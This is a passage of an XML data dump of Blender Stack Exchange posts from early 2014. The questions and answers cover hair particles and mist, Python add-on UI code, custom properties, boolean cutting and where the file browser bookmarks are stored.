here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JB12a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;em&gt;Image by the addon author Piotr Adamowicz&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a similar addon called &lt;a href=&quot;http://metalix.co.nz/resources/script-sculpt-trim-curves-utility/&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Sculpt Trim Curves Utility&lt;/strong&gt;&lt;/a&gt;, which also did it. But I'm not sure if it still works well with the latest blender version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JNWe0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;em&gt;Image from &lt;a href=&quot;http://www.blendernation.com/2013/03/26/script-sculpt-trim-curves-utility/&quot; rel=&quot;noreferrer&quot;&gt;blendernation.com&lt;/a&gt;&lt;/em&gt;)&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-01-26T06:32:13.840" LastActivityDate="2014-01-26T06:32:13.840" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6536" PostTypeId="1" CreationDate="2014-01-26T06:10:14.010" Score="4" ViewCount="432" Body="&lt;p&gt;In Blender 2.69 I can't figure out why hair particles are unaffected by mist.&#xA;I'm using tangent shading if that makes a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to fix this? (see image)&#xA;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JWq2s.png&quot; alt=&quot;Problem with hair particles&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Ok, I think I figured it out somewhat. And yes, I am using blender render, not cycles, sorry about that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I turn off 'Strand render' in the particle settings it works!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zhb1g.png&quot; alt=&quot;Strand render off&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the hairs, or needles in this case, don't render quite as well as with strand render on...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dloXe.png&quot; alt=&quot;Strand render on&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone knows a way around this, that would be great to know. But I'm content with the way it looks either way. Thanks again!&lt;/p&gt;&#xA;" OwnerUserId="2263" LastEditorUserId="395" LastEditDate="2014-01-27T11:18:04.237" LastActivityDate="2017-09-24T08:33:43.950" Title="Hair particles unaffected by mist?" Tags="&lt;materials&gt;&lt;blender-internal-render-engine&gt;&lt;particles&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6537" PostTypeId="2" ParentId="6534" CreationDate="2014-01-26T06:44:02.527" Score="29" Body="&lt;p&gt;You need to add a material to your mesh to have it show in the render. Also, after adding a material, go to the &lt;em&gt;Properties panel &gt; Textures tab&lt;/em&gt; and add the texture. Don't forget to assign the UV map in &lt;em&gt;Textures tab &gt; Mapping dropdown&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this screenshot for more details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/huuMo.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/huuMo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="738" LastEditorUserId="20508" LastEditDate="2016-06-12T20:35:30.873" LastActivityDate="2016-06-12T20:35:30.873" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6538" PostTypeId="1" AcceptedAnswerId="6539" CreationDate="2014-01-26T14:30:30.970" Score="3" ViewCount="447" Body="&lt;p&gt;I'm writing an export script and I want the user to be able to export the currently selected object. The real script is finished but now I want to finish my UI. For this I want to display a fileselector like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bc44d.png&quot; alt=&quot;Example for a working fileselector&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is what I got so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MHMDLExporterObject(Panel):&#xA;    &quot;&quot;&quot;&#xA;    This exports the current object&#xA;    &quot;&quot;&quot;&#xA;&#xA;    bl_label = &quot;Export My Stuff&quot;&#xA;    bl_space_type = &quot;PROPERTIES&quot;&#xA;    bl_region_type = &quot;WINDOW&quot;&#xA;    bl_context = &quot;object&quot;&#xA;&#xA;    # can I let it write into this property?&#xA;    dir = StringProperty(name=&quot;Export path&quot;, default=&quot;C:/tmp/&quot;,&#xA;                                description=&quot;Export which objects?&quot;,&#xA;                                subtype='DIR_PATH')&#xA;&#xA;    def draw(self, context):&#xA;        from .constants import OP_exportMHMUIdent&#xA;        layout = self.layout&#xA;        col = layout.column()&#xA;        from .constants import uvResultIdent&#xA;        if hasattr(context.object, '[&quot;%s&quot;]' % uvResultIdent):&#xA;            uvL = col.prop(context.object, '[&quot;%s&quot;]' % uvResultIdent, text=&quot;UV Layer&quot;)&#xA;            uvL.enabled = False&#xA;        else: #property doesn't exist&#xA;            col.label('To preselect an uv-layer to export') &#xA;            col.label('you have to create a Custom Property')&#xA;            col.label('with the name %s.' % uvResultIdent)&#xA;        from .constants import OP_uvPromtpIdent&#xA;        col.operator(OP_uvPromtpIdent, text='Select the uv-layer to export')&#xA;        ## here is wher I want to get display a fileselector that writes the&#xA;        ## current value in self.dir (see above)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="12" LastEditDate="2014-03-27T20:59:52.020" LastActivityDate="2014-03-27T20:59:52.020" Title="Is there something like Layout.template_fileselector?" Tags="&lt;python&gt;&lt;interface&gt;&lt;file-browser&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6539" PostTypeId="2" ParentId="6538" CreationDate="2014-01-26T15:11:35.397" Score="2" Body="&lt;p&gt;It's not possible to use a path variable from inside the Panel to achieve this effect. The fact that the used path is either used per object or per scene on the other hand offers a great workaround:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your &lt;code&gt;__init__.py&lt;/code&gt;-file you need the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bpy.props import StringProperty&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;    # assigns a propery someName to every object. &#xA;    # If you want one var per scene use bpy.types.Scene&#xA;    bpy.types.Object.someName = StringProperty(name=&quot;Exported Layer&quot;, &#xA;        description=&quot;The UVLayer that will get exported&quot;,&#xA;        subtype='DIR_PATH') # so blender notices that as&#xA;                            # a directory path&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can use that variable inside yor panel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bpy.types import Panel&#xA;&#xA;class MyExporter(Panel):&#xA;    &quot;&quot;&quot;&#xA;    This exports the current object&#xA;    &quot;&quot;&quot;&#xA;&#xA;    bl_label = &quot;Mobster Hunter&quot;&#xA;    bl_space_type = &quot;PROPERTIES&quot;&#xA;    bl_region_type = &quot;WINDOW&quot;&#xA;    bl_context = &quot;object&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        col = layout.column()&#xA;&#xA;        # use either context.object or context.scene and &#xA;        # the same name&#xA;        col.prop(context.object, 'someName', text='Export directory')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="1363" LastEditDate="2014-01-26T19:48:18.070" LastActivityDate="2014-01-26T19:48:18.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6540" PostTypeId="1" AcceptedAnswerId="6542" CreationDate="2014-01-26T16:22:44.153" Score="1" ViewCount="963" Body="&lt;p&gt;I'm writing a Curve Outline Addon which works quite nice as a script, but I'm getting confused with the UI integration: I would like a simple popup asking for the Outline amount which interactively shows on my Curve. Instead I have a popup which forwards my property to the execute and then applies to my Curve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somewhere I didn't completely grasp the concept of modal/pass_through and invoke/execute...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class CurveOutline(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Curve Outliner&quot;&quot;&quot;&#xA;    bl_idname = &quot;object._curve_outline&quot;&#xA;    bl_label = &quot;Create Outline&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    outline = bpy.props.FloatProperty(name=&quot;Outline&quot;, default=0.1, min=-10, max=10)&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.object.type == 'CURVE'&#xA;&#xA;    def execute(self, context):&#xA;        createOutline(context.selected_objects[0], self.outline)&#xA;        return {'FINISHED'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        return context.window_manager.invoke_props_dialog(self)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2103" LastEditorUserId="1363" LastEditDate="2014-01-26T19:49:41.857" LastActivityDate="2014-01-26T20:23:48.027" Title="How to pass a property from popup to execute" Tags="&lt;python&gt;&lt;bezier-curves&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6541" PostTypeId="2" ParentId="6538" CreationDate="2014-01-26T16:53:38.423" Score="2" Body="&lt;p&gt;I suggest to use a full file selector dialog. It can be called and default path be set like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    def invoke(self, context, event):&#xA;        self.filepath = &quot;C:\\path\\name_of_file.ext&quot;&#xA;        context.window_manager.fileselect_add(self)&#xA;        return {'RUNNING_MODAL'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-01-26T19:43:27.393" LastActivityDate="2014-01-26T19:43:27.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6542" PostTypeId="2" ParentId="6540" CreationDate="2014-01-26T19:59:58.337" Score="2" Body="&lt;p&gt;&lt;code&gt;invoke_props_dialog()&lt;/code&gt; opens a &quot;blocking&quot; popup, it won't call &lt;code&gt;execute()&lt;/code&gt; with the updated values until user confirm with &lt;em&gt;OK&lt;/em&gt; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;invoke_props_popup()&lt;/code&gt; instead, if you want to immediately re-run the operation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class CurveOutline(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Curve Outliner&quot;&quot;&quot;&#xA;    bl_idname = &quot;object._curve_outline&quot;&#xA;    bl_label = &quot;Create Outline&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    outline = bpy.props.FloatProperty(name=&quot;Outline&quot;, default=0.1, min=-10, max=10)&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return (context.object is not None and&#xA;                context.object.type == 'CURVE')&#xA;&#xA;    def execute(self, context):&#xA;        createOutline(context.object, self.outline)&#xA;        return {'FINISHED'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        return context.window_manager.invoke_props_popup(self, event)&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(CurveOutline)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(CurveOutline)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Added a check for &lt;code&gt;context.object is not None&lt;/code&gt; to ensure the operator isn't run with no active object and replace &lt;code&gt;selected_objects[0]&lt;/code&gt; by &lt;code&gt;object&lt;/code&gt;, as it's not the same. If you intended to work on multiple selected objects, get all selected objects and remove the active one from list to separate them.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-01-26T19:59:58.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6543" PostTypeId="2" ParentId="6540" CreationDate="2014-01-26T20:02:26.780" Score="0" Body="&lt;p&gt;You can set an update callback on the FloatProperty. I'm not sure it is actually safe to use it with invoke_props_dialog() but I tried and it works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace the line &lt;code&gt;outline = bpy.props...&lt;/code&gt; by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def update_outline(self, context):&#xA;    createOutline(context.selected_objects[0], self.outline)&#xA;&#xA;outline = bpy.props.FloatProperty(name=&quot;Outline&quot;, default=0.1, &#xA;        min=-10, max=10, update=update_outline)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2257" LastEditorUserId="2257" LastEditDate="2014-01-26T20:23:48.027" LastActivityDate="2014-01-26T20:23:48.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6544" PostTypeId="1" AcceptedAnswerId="6545" CreationDate="2014-01-26T21:21:29.197" Score="12" ViewCount="23786" Body="&lt;p&gt;The standard python &lt;code&gt;hasattr()&lt;/code&gt; doesn't work for me, giving me &lt;code&gt;False&lt;/code&gt; in every case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hasattr(bpy.data.objects[&quot;object&quot;], 'char')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How I can check for the existence of a custom property?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="2266" LastEditorUserId="1363" LastEditDate="2014-01-26T21:36:19.820" LastActivityDate="2014-10-15T09:50:11.660" Title="How to check if an object has a custom property with python?" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6545" PostTypeId="2" ParentId="6544" CreationDate="2014-01-26T21:34:52.047" Score="19" Body="&lt;p&gt;There are two types of custom properties:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Properties global to a type, &lt;code&gt;bpy.props.*&lt;/code&gt; for e.g. &lt;code&gt;bpy.types.Object&lt;/code&gt;&lt;br&gt;&#xA;(&lt;code&gt;ob.char = &quot;foobar&quot;&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;ID properties local to a type instance&lt;br&gt;&#xA;(&lt;code&gt;ob[&quot;char&quot;] = &quot;foobar&quot;&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To test for bpy.props properties / attributes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hasattr(ob, &quot;char&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or get the attribute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# note: throws AttributeError if not existing&#xA;getattr(ob, &quot;char&quot;) &#xA;&#xA;# don't throw exception but return default (None) value if not existing&#xA;getattr(ob, &quot;char&quot;, None)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To test for a certain ID property, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects['Object'].get('char') is not None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;get()&lt;/code&gt; returns the value of the custom property assigned to the given key (the property name), or &lt;code&gt;None&lt;/code&gt; if it couldn't find the key. You can make it return anything in case the key doesn't exist, like a string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Object.get('char', default=&quot;Not found.&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-10-15T09:50:11.660" LastActivityDate="2014-10-15T09:50:11.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6546" PostTypeId="2" ParentId="485" CreationDate="2014-01-26T21:38:12.290" Score="2" Body="&lt;p&gt;You may want to try sverchock:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Homepage: &lt;a href=&quot;http://nikitron.cc.ua/sverchok.html&quot; rel=&quot;nofollow&quot;&gt;http://nikitron.cc.ua/sverchok.html&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;Repository: &lt;a href=&quot;https://github.com/nortikin/sverchok/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/nortikin/sverchok/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's the description from author's page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sverchok - is parametric tool for an architect, designer, lets you to&#xA;  programm object's form without knowing program longuages.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Breafly, it is node programing of geometry, but in completely virtual&#xA;  way (with ability to bake geometry to blender). You would work with&#xA;  pure data, as floats, matrixes, lists, formulas, etc.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Those who familiar with Houdini or Rhinoceros 3D might know the visual&#xA;  scripting language Grasshopper, which Sverchok has been inspired by.&#xA;  Using a similar node based visual programming principle,&#xA;  Ukrainian/Russian artists Nikita and Alexander trying to bring this&#xA;  functionality to Blender users.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To understand what is parametric in ARCHITECTURE you'd better see my&#xA;  breaf explenation here.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2267" LastActivityDate="2014-01-26T21:38:12.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6547" PostTypeId="2" ParentId="6216" CreationDate="2014-01-26T21:46:07.623" Score="1" Body="&lt;p&gt;Its simple: your object hands center is static on animation while your armature not (not in the pose animation, the object like is) . Your armature had rotations like your hands for apply, for that when you create the key animation everything shows, looking bad. If you make the hands parent like object to the armature the effect is not show looking correctly, but everything turn up by the turn of the armature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file needs some clean out and normal logic using armatures. It's normal if you are starting on Blender:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The objects to be used with an armature usually had the same object center&lt;/li&gt;&#xA;&lt;li&gt;You must apply any rotation or size using control +A and &quot;rotation &amp;amp;scale&quot;&lt;/li&gt;&#xA;&lt;li&gt;Usually the hands must be child of his armature (make it more easy for move)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At end, for a fast solution (this correct your problem): Your hands had the action animation of reload linked to them. That make problem if I try to put some locrotscale key, because that will affect to both objects at same time, looking bad again. Quit assigned animations to object hands (not armature) selecting them and change &quot;dopesheet&quot; menu  to &quot;action editor&quot;. Now,  press X next to name &quot;ReloadUMP&quot;. Try to move your first bone and works , but not if you move the armature like object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zlK0n.png&quot; alt=&quot;hands like child of armature, but like the armature turns, the animation goes up, must apply scale and rotation before&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I had the file fixed, but you will not learn nothing then...&lt;/p&gt;&#xA;" OwnerUserId="2266" LastEditorUserId="2266" LastEditDate="2014-01-27T00:15:29.813" LastActivityDate="2014-01-27T00:15:29.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6548" PostTypeId="1" CreationDate="2014-01-26T23:02:27.663" Score="0" ViewCount="1753" Body="&lt;p&gt;Ok so im tracking a flat piece of paper and everything seems to look great! when i add a plane track to the points it follows the paper perfectly.  but for some reason when i use the object motion solve and set up the tracking scene the points don't follow the paper any more.  can anyone help me or explain what i'm doing wrong please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a screen shot of it.  left side shows the plane track around the paper and fitting it perfectly. on the right side it shows the plane up right and not tilting back like it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O161R.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2268" LastEditorUserId="1165" LastEditDate="2014-01-27T00:58:21.093" LastActivityDate="2014-09-25T12:13:02.810" Title="why is my object solve not matching my plane track?" Tags="&lt;tracking&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6549" PostTypeId="2" ParentId="6536" CreationDate="2014-01-26T23:18:30.337" Score="2" Body="&lt;p&gt;Make sure you had the &quot;Use mist&quot; option on the particles material. You could post some file showing the problem. The image had some post process?&lt;/p&gt;&#xA;" OwnerUserId="2266" LastActivityDate="2014-01-26T23:18:30.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6550" PostTypeId="1" CreationDate="2014-01-27T01:22:55.007" Score="5" ViewCount="5568" Body="&lt;p&gt;I have a scene where I need to be able to &quot;interactively&quot; cut a mesh.  I have set up a bounding box, and the object I need to cut is set inside.  When I move the vertices of the bounding box, the object is cut because of my implementation of a boolean modifier with the &quot;union&quot; property.  Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/0dt6J1I.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the sphere is just being flattened in this image.  What I need is to be able to literally &quot;cut&quot; the sphere, so that it is hollow on the inside.  Is this possible, and how can I do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how I want it to look, but with the ability to be animated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/96aXCBs.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help/suggestion is welcomed!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:  I added a photo of how I want the image to look.&lt;/p&gt;&#xA;" OwnerUserId="1525" LastEditorUserId="599" LastEditDate="2014-01-28T19:37:00.670" LastActivityDate="2015-12-15T01:20:19.003" Title="Cutting with Boolean Modifiers" Tags="&lt;animation&gt;&lt;modifiers&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6551" PostTypeId="2" ParentId="6550" CreationDate="2014-01-27T02:14:33.727" Score="0" Body="&lt;p&gt;If not animated:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit mode&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Menu: &lt;em&gt;Mesh &gt; Bisect&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click and select options at left (&lt;kbd&gt;T&lt;/kbd&gt; tools panel in &lt;em&gt;3D View&lt;/em&gt;), like fill or quit parts.&#xA;Get it from:&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Bisect&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Bisect&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The boolean operations always try to conserve the mesh.&lt;/p&gt;&#xA;" OwnerUserId="2266" LastEditorUserId="1363" LastEditDate="2014-01-27T11:29:57.453" LastActivityDate="2014-01-27T11:29:57.453" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6553" PostTypeId="1" AcceptedAnswerId="45672" CreationDate="2014-01-27T06:18:22.930" Score="2" ViewCount="2441" Body="&lt;p&gt;Is it possible to control the order of the bookmarks in the file browser, without resetting and re-adding them all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2016-01-27T07:40:12.790" Title="How to organize bookmarks in the file browser?" Tags="&lt;interface&gt;&lt;customization&gt;&lt;file-browser&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6554" PostTypeId="1" CreationDate="2014-01-27T07:09:28.327" Score="1" ViewCount="760" Body="&lt;p&gt;I'm working on a custom exporter from blender to my iOS game engine, and all works fine and dandy, but I just noticed that all of the colors are messed up! I've looked at the Blender documentation and have searched google and found that the problem is that Blender works in a &lt;strong&gt;linearized color space&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I convert the colors to a format that other programs like? When I make a color in photoshop using the RGB values that blender gives me I get the skrewy colors, but when I copy the Hex code the color is right. I see that it says the Hex is Gamma Corrected. I'm using &lt;code&gt;Mesh.materials[].diffuse_color&lt;/code&gt;, how can I correct this value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="2270" LastEditorUserId="1363" LastEditDate="2014-01-27T11:20:30.530" LastActivityDate="2014-09-25T04:09:48.883" Title="Python De-Linearize Colors" Tags="&lt;python&gt;&lt;materials&gt;&lt;color-management&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6555" PostTypeId="1" AcceptedAnswerId="6557" CreationDate="2014-01-27T08:23:34.573" Score="5" ViewCount="2881" Body="&lt;p&gt;If I make an armature like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xm2fs.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to automatically generate a mesh to go on the armature?&#xA;to make something like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mo9ek.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="84799" LastEditDate="2020-09-06T22:30:14.947" LastActivityDate="2021-01-12T19:32:26.420" Title="Is it possible to generate a mesh from a armature" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;armature&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="6556" PostTypeId="2" ParentId="6553" CreationDate="2014-01-27T08:36:03.157" Score="4" Body="&lt;p&gt;You must edit a file called &lt;code&gt;bookmarks.txt&lt;/code&gt; with your favorite text editor (e.g. notepad).&lt;/p&gt;&#xA;&lt;p&gt;This file appears on your configuration folder of blender, which varies in location depending on your OS. As bookmarks are user specific, it will be in the &lt;em&gt;user&lt;/em&gt; configuration path for your operating system. See &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Introduction/Installing_Blender/DirectoryLayout&quot; rel=&quot;nofollow noreferrer&quot;&gt;the wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;Windows:&lt;/h1&gt;&#xA;&lt;p&gt;For Windows it is usually in &lt;code&gt;%appdata%\Blender Foundation\Blender\2.69\config&lt;/code&gt; where &lt;code&gt;2.69&lt;/code&gt; is the version of blender which you are using, and &lt;code&gt;%appdata%&lt;/code&gt; is the AppData directory of your user folder).&lt;/p&gt;&#xA;&lt;h1&gt;Linux:&lt;/h1&gt;&#xA;&lt;p&gt;It will be in &lt;code&gt;~/.config/blender/2.69/config/&lt;/code&gt;, where &lt;code&gt;~&lt;/code&gt; is your home directory.&lt;/p&gt;&#xA;&lt;h1&gt;OSX:&lt;/h1&gt;&#xA;&lt;p&gt;According to the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Introduction/Installing_Blender/DirectoryLayout&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki page about file paths&lt;/a&gt;, it should be in &lt;code&gt;/Users/{user}/Library/Application Support/Blender/2.69/config/&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Portable:&lt;/h1&gt;&#xA;&lt;p&gt;If you create a directory called &lt;code&gt;config&lt;/code&gt; inside the &lt;code&gt;2.69&lt;/code&gt; directory (where &lt;code&gt;2.69&lt;/code&gt; is your version) this file will appear there the next time you run blender and add a bookmark.&lt;/p&gt;&#xA;" OwnerUserId="2266" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-01-27T21:59:44.147" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
